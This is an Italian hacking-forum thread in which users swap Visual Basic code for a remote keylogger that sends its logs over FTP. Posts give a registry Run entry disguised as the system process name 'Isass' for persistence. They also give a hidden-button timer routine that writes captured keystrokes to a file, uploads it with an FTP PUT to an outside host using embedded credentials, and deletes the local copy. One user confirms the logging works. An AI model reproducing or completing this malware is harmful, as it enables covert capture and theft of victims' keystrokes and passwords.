Toggle sidebar
  • Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Thread obsoleto KeyLogger Remoto via FTP

Stato
Discussione chiusa ad ulteriori risposte.
ragazzi qualcuno mi puo aiutare nn riesco a farlo ad un certo punto mi blokko
 
FireFox ha detto:
Shinil35 buona idea.

Biscuit praticamente quello in rosso serve in caso l'utente sposti il file in un'altra directory, con l'app.path + nomefile.exe riusciamo lo stesso a fornire la directory.

3n1gm1st4 non sò davvero quale sia il tuo problema.

50 cent roby si, i commenti puoi lasciarli.
Clicca per espandere...

oltre a rilevare la directory rileva anche il nome del file... Quindi se in qualsiasi modo viene rinominato il file resta comunque ok!


Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\" & App.EXEName & ".exe"
 
fire io nn ci ho provato tre mila volta in tutti modi te lo giuro sto kiedendop pure aiuto man nn ci riesco... bha! nn so forse sbajo io qulcs
 
Si vede che non hai le conoscenze base per affrontare l'argomento, impara meglio il linguaggio e poi ritornaci quando avrai più pratica huh
 
Ragazzi se non vi hosta il file (a me succedeva ò.ò) provate a fare così :

Allora mettiamo il timer che hosta il file impostato a 30000 (30 sec.)

e mettiamo il seguente codice :

Private Sub Timer2_Timer()
Call Command1_Click
End Sub

(Nel mio caso è il timer2 ù.ù)

Poi creiamo un command button (Command1) e lo impostiamo su invisibile e inseriamo il seguente codice :

Open "C:\provapswd.ini" For Append As #1
Write #1, Text1.Text
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "sitodipippo
pswd = "pswddipippo"
ftpwebsite = "ftp://sitodipippo.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = "log.txt"
Inet1.Execute Inet1.URL, "PUT C:\provapswd.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill "C:\provapswd.ini"

Provate così

Perchè qnd utilizzavo il timer e basta nn riusciva a completare un'operazione,invece qui è come se cliccassimo sul pulsante ;)
 
Molto strano dato che a me funziona, comunque complimenti per aver postato una soluzione alternativa ^^
 
InfernoHacker ha detto:
Ragazzi se non vi hosta il file (a me succedeva ò.ò) provate a fare così :

Allora mettiamo il timer che hosta il file impostato a 30000 (30 sec.)

e mettiamo il seguente codice :

Private Sub Timer2_Timer()
Call Command1_Click
End Sub

(Nel mio caso è il timer2 ù.ù)

Poi creiamo un command button (Command1) e lo impostiamo su invisibile e inseriamo il seguente codice :

Open "C:\provapswd.ini" For Append As #1
Write #1, Text1.Text
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "sitodipippo
pswd = "pswddipippo"
ftpwebsite = "ftp://sitodipippo.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = "log.txt"
Inet1.Execute Inet1.URL, "PUT C:\provapswd.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill "C:\provapswd.ini"

Provate così

Perchè qnd utilizzavo il timer e basta nn riusciva a completare un'operazione,invece qui è come se cliccassimo sul pulsante ;)
Clicca per espandere...
Perfetto! Dopo provo<! Grazie!!:razz::razz:
 
Raga a me funziona.
io lo testato su di me, va bhe lo apro oi scrivo su un blocco note,
poi vado su C:\WINDOWS\system32\Keylog.txt poi faccio invio e mi si apre
un blocco note con tutto quello digitato.
e giusto cosi no?​
 
Stato
Discussione chiusa ad ulteriori risposte.
 
 
Top
Indietro